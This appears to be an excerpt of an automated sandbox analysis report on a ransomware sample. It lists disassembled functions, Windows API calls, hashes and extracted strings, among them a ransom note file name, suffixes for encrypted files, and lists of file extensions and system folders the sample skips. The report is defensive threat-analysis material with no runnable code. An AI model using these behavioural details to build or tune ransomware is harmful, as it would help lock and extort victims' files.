                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: FileInternetRead
                                          • String ID:
                                          • API String ID: 778332206-0
                                          • Opcode ID: a4b064660098ee47c42cadfb13e4b894e776804e52bd91ec1b0d38e27eb1a23f
                                          • Instruction ID: 973553c3f5cdc734b6b92de27162614429e6c3cb09ae35cc302fb7b855a9b2a8
                                          • Opcode Fuzzy Hash: a4b064660098ee47c42cadfb13e4b894e776804e52bd91ec1b0d38e27eb1a23f
                                          • Instruction Fuzzy Hash: B151C0B1A105188BDB28CF28CC847ADB775FF85304F548299E60CE7285E735AAD4CF69
                                          Function 009252EA Relevance: 1.6, APIs: 1, Instructions: 54COMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: __wsopen_s
                                          • String ID:
                                          • API String ID: 3347428461-0
                                          • Opcode ID: 1e95da8baa927e8682b98b6d27721dffc7a86500657dda180fdbf604ea02740d
                                          • Instruction ID: 4d5874bcf7f45baa5593a2b0a2d95a06c5c6b1890fb9dc515c8d6e32c4c1146d
                                          • Opcode Fuzzy Hash: 1e95da8baa927e8682b98b6d27721dffc7a86500657dda180fdbf604ea02740d
                                          • Instruction Fuzzy Hash: 9F11187190410AAFCB05DF98E94199B7BF8EF48310F114459F808EB351D671D911CBA5
                                          Function 009124B4 Relevance: 1.5, APIs: 1, Instructions: 46COMMONLIBRARYCODE
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 42fd40b6c94fa41b560acd951f71edddf97df59d1a9087cb6c0cde23487a5f9d
                                          • Instruction ID: b89c5756912dc0380272fc48d2f18c66d179e2e17274527c7174fae0b3bd3286
                                          • Opcode Fuzzy Hash: 42fd40b6c94fa41b560acd951f71edddf97df59d1a9087cb6c0cde23487a5f9d
                                          • Instruction Fuzzy Hash: 5AF02832702A285BD7313B39EC05BEA33999FC2334F110715F421935D2CB78D9928AA1
                                          Function 009262A6 Relevance: 1.5, APIs: 1, Instructions: 35COMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00926303: RtlAllocateHeap.NTDLL(00000000,?,?,?,009082A9,?,?,?,?,?,00861F07,?,?,?), ref: 00926335
                                          • _free.LIBCMT ref: 009262C6
                                            • Part of subcall function 009254D5: HeapFree.KERNEL32(00000000,00000000,?,0092DD68,?,00000000,?,00000000,?,0092E00C,?,00000007,?,?,0092E400,?), ref: 009254EB
                                            • Part of subcall function 009254D5: GetLastError.KERNEL32(?,?,0092DD68,?,00000000,?,00000000,?,0092E00C,?,00000007,?,?,0092E400,?,?), ref: 009254FD
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Heap$AllocateErrorFreeLast_free
                                          • String ID:
                                          • API String ID: 314386986-0
                                          • Opcode ID: 057e2e3d8bd73b58fe8d7c478ddd505aa9f695bf52bed8acafc37b6f5449d6fe
                                          • Instruction ID: 6c0106babf2d43836cf3c4804c7d862a5706972bc2e6cf6901c4f29a693c6ddf
                                          • Opcode Fuzzy Hash: 057e2e3d8bd73b58fe8d7c478ddd505aa9f695bf52bed8acafc37b6f5449d6fe
                                          • Instruction Fuzzy Hash: FAF06DB2005710CFE3249F44E981752B7F8EB44725F20882EE6AA97A91DB74B8448B94
                                          Function 00926303 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • RtlAllocateHeap.NTDLL(00000000,?,?,?,009082A9,?,?,?,?,?,00861F07,?,?,?), ref: 00926335
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: AllocateHeap
                                          • String ID:
                                          • API String ID: 1279760036-0
                                          • Opcode ID: b93ab2668ad39c1b687a3e68e0b1bf530b24154773e19d0f0158c152ff78147f
                                          • Instruction ID: 6d91f461cccea1930f5a793597280f061aab8b063cb5e31cdcd6753c2697e4d8
                                          • Opcode Fuzzy Hash: b93ab2668ad39c1b687a3e68e0b1bf530b24154773e19d0f0158c152ff78147f
                                          • Instruction Fuzzy Hash: 14E09B32609634E6DE21A676BC01BBBBA4C9F417F0F154120EC05A6AD8DF60CC4183F5
                                          Function 008F101A Relevance: 1.5, APIs: 1, Instructions: 29COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008F22E9
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Exception@8Throw
                                          • String ID:
                                          • API String ID: 2005118841-0
                                          • Opcode ID: 8a34de69be500c15bfdcec8be7fab4842535aaac8e5ef9fc7dae998858967435
                                          • Instruction ID: 48165b9037b969fdf47fa2967e0bad97648430981d4aaae3b66ea1188090b5cd
                                          • Opcode Fuzzy Hash: 8a34de69be500c15bfdcec8be7fab4842535aaac8e5ef9fc7dae998858967435
                                          • Instruction Fuzzy Hash: 7DE0923550060DF6CF247679DC0AABA772DFA40364B504221BA28D54E2EF70D9D69592
                                          Function 00930ACE Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • CreateFileW.KERNEL32(00000000,00000000,?,00930EA9,?,?,00000000,?,00930EA9,00000000,0000000C), ref: 00930AEB
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: CreateFile
                                          • String ID:
                                          • API String ID: 823142352-0
                                          • Opcode ID: 86f8db9c03d05cd93dd893a87de96a56a0c5281b26bf5ec0876af3e563ce13f2
                                          • Instruction ID: 227a638cbcdab5f2a2ecc5f63913589c432926c72cb905e3f9ee7553aafd1dbb
                                          • Opcode Fuzzy Hash: 86f8db9c03d05cd93dd893a87de96a56a0c5281b26bf5ec0876af3e563ce13f2
                                          • Instruction Fuzzy Hash: 48D06C3211014DFFDF028F84DC06EDA3BAAFB48714F018100BA1856020C732E921AB90

                                          Non-executed Functions

                                          Function 0087A2AA Relevance: 50.3, APIs: 7, Strings: 21, Instructions: 1284filestringCOMMON
                                          Download Yara Rule
                                          APIs
                                          • lstrcmpW.KERNEL32(?,0095FEB8), ref: 0087A60B
                                          • lstrcmpW.KERNEL32(?,0095FEBC), ref: 0087A621
                                          • std::ios_base::_Ios_base_dtor.LIBCPMT ref: 0087A8FE
                                          • FindNextFileW.KERNEL32(?,?), ref: 0087A956
                                          • FindClose.KERNEL32(?), ref: 0087A965
                                          • SetErrorMode.KERNEL32(00008003,707A716D), ref: 0087B71D
                                          • FindFirstFileW.KERNEL32(?,?,0095FB80,00000002), ref: 0087B745
                                            • Part of subcall function 00863740: __CxxThrowException@8.LIBVCRUNTIME ref: 0086376D
                                            • Part of subcall function 00863740: __CxxThrowException@8.LIBVCRUNTIME ref: 008637B2
                                            • Part of subcall function 0086AD70: std::ios_base::_Ios_base_dtor.LIBCPMT ref: 0086AE4E
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Find$Exception@8FileIos_base_dtorThrowlstrcmpstd::ios_base::_$CloseErrorFirstModeNext
                                          • String ID: $.GVJ$.bat$.cmd$.cpl$.dll$.exe$.icl$.ico$.ini$.lnk$.msi$.scr$0$4$\Restore_Your_Files.txt$_Eg$_Enc$_Mail-$_[ID-$mqzp
                                          • API String ID: 420669261-3429170548
                                          • Opcode ID: d169095bbdcc68628b0fa423d9cfd7f2b0f81be76855ba74e6ff5a7d0bf80cc1
                                          • Instruction ID: d27b2164605c01bbdf9976b5e197663dc24e06358ddb77a0b93ffb9f1703109e
                                          • Opcode Fuzzy Hash: d169095bbdcc68628b0fa423d9cfd7f2b0f81be76855ba74e6ff5a7d0bf80cc1
                                          • Instruction Fuzzy Hash: A8C2AB71A006188ADF24DF68CC45BEEB7B2FF94315F5082A8E519E7295DB30AE85CF41
                                          Function 00884530 Relevance: 42.2, APIs: 23, Strings: 1, Instructions: 170memorythreadCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetCurrentThread.KERNEL32 ref: 00884573
                                          • OpenThreadToken.ADVAPI32(00000000), ref: 0088457A
                                          • GetLastError.KERNEL32 ref: 00884584
                                          • GetCurrentProcess.KERNEL32(0000000A,?), ref: 0088459B
                                          • OpenProcessToken.ADVAPI32(00000000), ref: 008845A2
                                          • DuplicateToken.ADVAPI32(?,00000002,?), ref: 008845B9
                                          • AllocateAndInitializeSid.ADVAPI32(00000000,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 008845E4
                                          • LocalAlloc.KERNEL32(00000040,00000014), ref: 008845F6
                                          • InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 0088460A
                                          • GetLengthSid.ADVAPI32(?), ref: 0088461B
                                          • LocalAlloc.KERNEL32(00000040,00000010), ref: 00884627
                                          • InitializeAcl.ADVAPI32(00000000,00000010,00000002), ref: 0088463C
                                          • AddAccessAllowedAce.ADVAPI32(?,00000002,00000003,?), ref: 00884654
                                          • SetSecurityDescriptorDacl.ADVAPI32(00000000,00000001,?,00000000), ref: 0088466C
                                          • SetSecurityDescriptorGroup.ADVAPI32(00000000,?,00000000), ref: 0088467E
                                          • SetSecurityDescriptorOwner.ADVAPI32(00000000,?,00000000), ref: 0088468C
                                          • IsValidSecurityDescriptor.ADVAPI32(00000000), ref: 00884695
                                          • AccessCheck.ADVAPI32(00000000,?,00000001,00000001,?,00000014,?,00000000), ref: 008846D7
                                          • LocalFree.KERNEL32(?), ref: 008846FA
                                          • LocalFree.KERNEL32(00000000), ref: 00884704
                                          • FreeSid.ADVAPI32(?), ref: 0088470E
                                          • CloseHandle.KERNEL32(?), ref: 00884722
                                          • CloseHandle.KERNEL32(?), ref: 0088472C
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: DescriptorSecurity$Local$FreeInitializeToken$AccessAllocCloseCurrentHandleOpenProcessThread$AllocateAllowedCheckDaclDuplicateErrorGroupLastLengthOwnerValid
                                          • String ID: mqzp
                                          • API String ID: 1194227780-955126501
                                          • Opcode ID: ec09a22bec9bfbf927798d8c8d1ab90f3e47c1847398b700e30b583421f04e40
                                          • Instruction ID: 9816e6c290ab388b027af7709549fa63a0afd6c6c241cb038df1395703163a01
                                          • Opcode Fuzzy Hash: ec09a22bec9bfbf927798d8c8d1ab90f3e47c1847398b700e30b583421f04e40
                                          • Instruction Fuzzy Hash: 51511775A1421AABEF20AFB1DC49FAEBBB8FF16700F148115E501F6190EB71DA019B60
                                          Function 00878A30 Relevance: 37.4, APIs: 2, Strings: 19, Instructions: 684COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: @$\Application Data\Microsoft\Credentials$\Boot$\Documents and Settings\$\Documents and Settings\All Users\Start Menu$\Local Settings\Application Data\Microsoft\Credentials$\Local Settings\Temporary Internet Files$\ProgramData$\ProgramData\Microsoft$\Recovery$\Start Menu$\System Volume Information$\Users\All Users\Microsoft\Windows\Caches$\WINDOWS$\Windows$\skips.txt$user$mqzp$mqzp
                                          • API String ID: 0-773311469
                                          • Opcode ID: 21e2dc50e58051cdfe3e7b3727f66ee101195cda3567bfed6f4ca006ea17eaf4
                                          • Instruction ID: cf55aea61ae594e83b3ac7ddef06ddcd989426b05a87ac9eaffac7d4f09f3772
                                          • Opcode Fuzzy Hash: 21e2dc50e58051cdfe3e7b3727f66ee101195cda3567bfed6f4ca006ea17eaf4
                                          • Instruction Fuzzy Hash: 17624470E00619CFDF14DF68C855BDEB7B1FB58305F1082A9D849A7291EB74AA88CF91
                                          Function 008772E7 Relevance: 25.6, APIs: 1, Strings: 13, Instructions: 1091COMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00863740: __CxxThrowException@8.LIBVCRUNTIME ref: 0086376D
                                            • Part of subcall function 00863740: __CxxThrowException@8.LIBVCRUNTIME ref: 008637B2
                                          • std::ios_base::_Ios_base_dtor.LIBCPMT ref: 0087895A
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Exception@8Throw$Ios_base_dtorstd::ios_base::_
                                          • String ID: &4r*3d$($.GVJ$DOEXI$_Mail-$_[ID-$vj10au=$vj20au=$vj30au=$vj51au=$vj55au=$vjau=$wenf=
                                          • API String ID: 2823994529-3298697361
                                          • Opcode ID: 9386c322d91e06eed0c4ebff2a06170456fceb5cfc33612283850fa2383619a0
                                          • Instruction ID: 4741f476cbcae541abc0510a6b50249463ad9b3155b82f1b6c5809a8dcdf6e45
                                          • Opcode Fuzzy Hash: 9386c322d91e06eed0c4ebff2a06170456fceb5cfc33612283850fa2383619a0
                                          • Instruction Fuzzy Hash: 9FA2AB31A14258CBDF24CF28CC59BDDB7B1FB85308F148299E50DAB2A5DB35AA84CF51
                                          Function 008706F8 Relevance: 18.6, Strings: 14, Instructions: 1051COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: '$.GVJ$DOEXI$_Mail-$_[ID-$boot.ini$bootmgr$bootsect.bak$desktop.ini$nqpso5938fh71jfu$r_cfg.ini$restore_your_files.txt$sysmain.sys$xinfecter.exe
                                          • API String ID: 0-735576250
                                          • Opcode ID: a56b9978a19574d35629487c70a2d2b638805a069996326046ba2417775022f0
                                          • Instruction ID: 7affeab547076fd6ed3ef0caedf949c0e3d5993c01b4be7ac6ed2ef16060c6c8
                                          • Opcode Fuzzy Hash: a56b9978a19574d35629487c70a2d2b638805a069996326046ba2417775022f0
                                          • Instruction Fuzzy Hash: 86B24670A106288BDB29DB28CC557EEB7B5FF94305F1482E9E40DA7291EB709B85CF41
                                          Function 00876280 Relevance: 17.8, APIs: 4, Strings: 6, Instructions: 250libraryloaderCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetModuleHandleW.KERNEL32(kernel32,GetLogicalProcessorInformation,?), ref: 008762BA
                                          • GetProcAddress.KERNEL32(00000000), ref: 008762C1
                                          • GetLastError.KERNEL32 ref: 008762FF
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: AddressErrorHandleLastModuleProc
                                          • String ID: Error %d$Error: Allocation failure$GetLogicalProcessorInformation is not supported.$GetLogicalProcessorInformation$kernel32$mqzp
                                          • API String ID: 4275029093-117073998
                                          • Opcode ID: fbc3b8648a38b3bee9637f6d5f12343e36fbb5b71b41aeb4a2204e9819d5ff11
                                          • Instruction ID: 2725ab47fd29e717cd447c0412a1441d9f818aa4e6e99f6fd0d25b0de2556a6e
                                          • Opcode Fuzzy Hash: fbc3b8648a38b3bee9637f6d5f12343e36fbb5b71b41aeb4a2204e9819d5ff11
                                          • Instruction Fuzzy Hash: 4C71E071A14A058BD718DB38DC4166EB3E1FFC4314F448A2DF88AC7295EB34E9958B87
                                          Function 0087EFB0 Relevance: 14.8, APIs: 5, Strings: 3, Instructions: 812networkCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00865130: CreateSemaphoreA.KERNEL32(00000000,00000000,7FFFFFFF,00000000), ref: 00865198
                                            • Part of subcall function 00865130: CreateSemaphoreA.KERNEL32(00000000,00000000,7FFFFFFF,00000000), ref: 008651AC
                                            • Part of subcall function 00865130: CreateSemaphoreA.KERNEL32(00000000,00000000,7FFFFFFF,00000000), ref: 008651C0
                                          • std::ios_base::_Ios_base_dtor.LIBCPMT ref: 0087F654
                                          • PathIsNetworkPathA.SHLWAPI(00000000,?,00000002,-00000015,707A716D), ref: 0087F6FF
                                          • PathIsNetworkPathA.SHLWAPI(00000000,?,00000002,-00000015,707A716D), ref: 0087F715
                                          • PathIsNetworkPathA.SHLWAPI(00000000,?,00000002,-00000015,707A716D), ref: 0087F734
                                          • PathIsNetworkPathA.SHLWAPI(00000000,?,00000002,-00000015,707A716D), ref: 0087F74B
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Path$Network$CreateSemaphore$Ios_base_dtorstd::ios_base::_
                                          • String ID: X$\Restore_Your_Files.txt$mqzp
                                          • API String ID: 3524565764-4069697975
                                          • Opcode ID: 4c87c8c380b6f88901cbcfc180261149b56528fdb97bd225c7c84d377d8c65af
                                          • Instruction ID: 11425a16c2172b95c738675161f4874d79a66a10691da968eb37bc7efb9f88c2
                                          • Opcode Fuzzy Hash: 4c87c8c380b6f88901cbcfc180261149b56528fdb97bd225c7c84d377d8c65af
                                          • Instruction Fuzzy Hash: 2E62DF31A002588BDF24DB68CD85BDDBBB5FF45304F6481A9E409E7282DB70AE85CF91
                                          Function 008F4A54 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 008F60E3: Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 008F60F6
                                          • Concurrency::details::ResourceManager::PreProcessDynamicAllocationData.LIBCONCRT ref: 008F4A66
                                            • Part of subcall function 008F61F6: Concurrency::details::ResourceManager::HandleBorrowedCores.LIBCONCRT ref: 008F6220
                                            • Part of subcall function 008F61F6: Concurrency::details::ResourceManager::HandleSharedCores.LIBCONCRT ref: 008F628F
                                          • Concurrency::details::ResourceManager::IncreaseFullyLoadedSchedulerAllocations.LIBCMT ref: 008F4B98
                                          • Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 008F4BF8
                                          • Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 008F4C04
                                          • Concurrency::details::ResourceManager::DistributeExclusiveCores.LIBCONCRT ref: 008F4C3F
                                          • Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 008F4C60
                                          • Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 008F4C6C
                                          • Concurrency::details::ResourceManager::DistributeIdleCores.LIBCONCRT ref: 008F4C75
                                          • Concurrency::details::ResourceManager::ResetGlobalAllocationData.LIBCMT ref: 008F4C8D
                                          Memory Dump Source
